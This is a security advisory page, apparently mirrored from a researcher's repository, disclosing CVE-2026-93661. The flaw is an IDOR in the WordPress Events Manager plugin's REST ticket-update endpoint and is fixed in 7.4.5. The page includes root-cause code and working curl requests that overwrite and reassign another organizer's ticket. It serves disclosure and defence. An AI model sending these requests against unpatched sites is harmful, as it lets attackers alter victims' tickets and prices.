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CVE-2026-93661-idor-events-manager — IDOR/BOLA in Events Manager <= 7.4.3 REST ticket update endpoint — CVE-2026-93661 | Kitploit
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hasyros/cve-2026-93661-idor-events-manager

CVE-2026-93661-idor-events-manager

IDOR/BOLA in Events Manager <= 7.4.3 REST ticket update endpoint — CVE-2026-93661

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41 month agoNot yet reviewed

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CVE-2026-93661 — Events Manager < 7.4.5 — Contributor+ Arbitrary Ticket Overwrite via IDOR

Status: Published by WPScan · CVE assigned: CVE-2026-93661 · Verified · Fixed in 7.4.5 Private repository — for disclosure record-keeping and reproduction only.

RepositoryCVE-2026-93661-idor-events-manager
PluginEvents Manager (events-manager)
Affected versions< 7.4.5
Fixed in7.4.5
Vulnerability classInsecure Direct Object Reference (IDOR) / Broken Object Level Authorization
OWASP Top 10A5: Broken Access Control
CWECWE-639 — Authorization Bypass Through User-Controlled Key
CVSS 3.1 (published)2.7 (Low) — AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N — WPScan calculator
Privilege requiredAuthenticated user with the manage_bookings capability (an Event Organizer role — by default WordPress capability mapping, this is Administrator-equivalent, hence PR:H)
EndpointPATCH /wp-json/events-manager/v1/tickets/{id}
WPVDB ID8f1c665e-15e4-4b5d-853d-919723614611

Note on the CVSS score. My original submission proposed 7.1 (PR:L/I:H/A:L), reasoning from a delegated multi-organizer deployment scenario. WPScan's triage correctly rescored this to 2.7 using the standard default-capability mapping (manage_bookings = admin-only by default, hence PR:H) and scoping the integrity impact to the single affected object type rather than site-wide (I:L, A:N). The published score above is the authoritative one; this document reflects it.

Summary

Events Manager's REST API lets any user with the manage_bookings capability overwrite any ticket on the site by numeric ID — including tickets that belong to events they do not own and cannot otherwise touch — by exploiting a mismatch between the object the API authorizes (the ticket named in the URL) and the object it writes (the ticket ID re-read from the request body).

A user who is correctly denied (HTTP 403) when editing another organizer's ticket directly can instead PATCH their own ticket while placing the victim's ticket_id in the request body. The handler re-assigns its own identity from that body value before saving, so the resulting UPDATE statement targets and overwrites the victim's row — reassigning it into the attacker's own event in the process (all other ticket columns, including price and capacity, are rewritten from the request as well).

This is a textbook Broken Object Level Authorization (BOLA) bug: the authorization check runs against the right object, but a mutable identifier in the payload lets the attacker redirect the actual write to a different object afterward.

Impact

  • Integrity: full overwrite of an arbitrary ticket's name, price, capacity, sale window, member/guest restrictions, and active status.
  • Cross-tenant hijack: the overwritten ticket is reassigned (event_id) into an event the attacker owns, effectively stealing it from the original event.
  • Availability: any bookings already attached to the hijacked ticket are orphaned by the event-reassignment.
  • No confidentiality impact (the endpoint does not disclose data beyond the object it overwrites).

On a default single-administrator installation only the Administrator holds manage_bookings, so the practical risk is concentrated on the many Events Manager deployments that delegate booking management to non-administrator organizer accounts — the plugin's own multi-organizer use case.

Root Cause

Route: PATCH /wp-json/events-manager/v1/tickets/{id} → EM\API\Service::update_ticket() (classes/api/em-api-service.php:417)

The handler correctly authorizes the ticket named in the URL:

$EM_Ticket = static::get_ticket_object( $id );
if ( !$EM_Ticket->can_manage() ) { return 403; }

...but then passes the raw request body into EM_Ticket::get_post() without stripping the immutable identifiers. get_post() (classes/em-ticket.php:457,460) re-assigns the object's own identity straight from attacker-controlled input:

$this->ticket_id = ( !empty($post['ticket_id']) && is_numeric(...) ) ? absint($post['ticket_id']) : null;
$this->event_id  = ( !empty($post['event_id'])  && is_numeric(...) ) ? absint($post['event_id'])  : null;

EM_Ticket::save() then issues a raw UPDATE keyed on the re-assigned ticket_id (classes/em-ticket.php:376):

$sql = "UPDATE $table SET ... WHERE ticket_id={$this->ticket_id}";

So the row that gets written is the one supplied in the body — not the one that was authorized in the URL. A second, in-save() can_manage() check does not close the gap: it delegates to get_event()->can_manage(), and get_event() (classes/em-ticket.php:865) resolves the event from the attacker-supplied event_id. By setting event_id to an event the attacker does own, both authorization checks pass while the UPDATE overwrites a ticket belonging to a different event/owner entirely.

This is a known-avoidable pattern in the same codebase

The sibling ticket-creation path proves the omission in update_ticket() is a genuine oversight rather than intended behavior. create_event_ticket() (classes/api/em-api-service.php:402) explicitly does:

unset( $data['id'], $data['ticket_id'] );
$data['event_id'] = $EM_Event->get_event_id();

update_ticket() performs neither of these steps.

Proof of Concept

Setup:

  • VICTIM: ticket_id=33, in event_id=27 owned by admin, name VICTIM2-ORIGINAL, price 40.00.
  • ATTACKER: an Author-level "organizer" account holding manage_bookings (but not manage_others_bookings), owning event_id=28 and ticket_id=32. Authenticates with a WordPress Application Password.

1) Negative control — direct edit of the victim's ticket is correctly denied:

curl -X PATCH -u organizer:APP_PASSWORD \
  "https://TARGET/wp-json/events-manager/v1/tickets/33" \
  -H "Content-Type: application/json" \
  -d '{"ticket_id":33,"ticket_name":"DIRECT-SHOULD-FAIL"}'
HTTP/1.1 403
{"code":"em_api_ticket_forbidden","message":"You do not have permission to update this ticket."}

2) The IDOR — the attacker PATCHes their OWN ticket (32), but supplies the victim's ticket_id in the body, plus an event_id they own to satisfy the second authorization check:

curl -X PATCH -u organizer:APP_PASSWORD \
  "https://TARGET/wp-json/events-manager/v1/tickets/32" \
  -H "Content-Type: application/json" \
  -d '{"ticket_id":33,"event_id":28,"ticket_name":"HIJACKED-VIA-IDOR","ticket_price":"0.01"}'
HTTP/1.1 200
{"id":33,"event_id":28,"name":"HIJACKED-VIA-IDOR","price":0.01, ...}

3) Result — the victim ticket (33), which step 1 proved the attacker could not touch, is overwritten and reassigned into the attacker's own event:

ticket_idevent_idnameprice
Before3327 (victim's)VICTIM2-ORIGINAL40.00
After3328 (attacker's)HIJACKED-VIA-IDOR0.01

A ready-to-run script is provided in exploit.sh.

With default (non-pretty) permalinks, replace /wp-json/<ns> with /index.php?rest_route=/<ns> in every request above.

Affected Code

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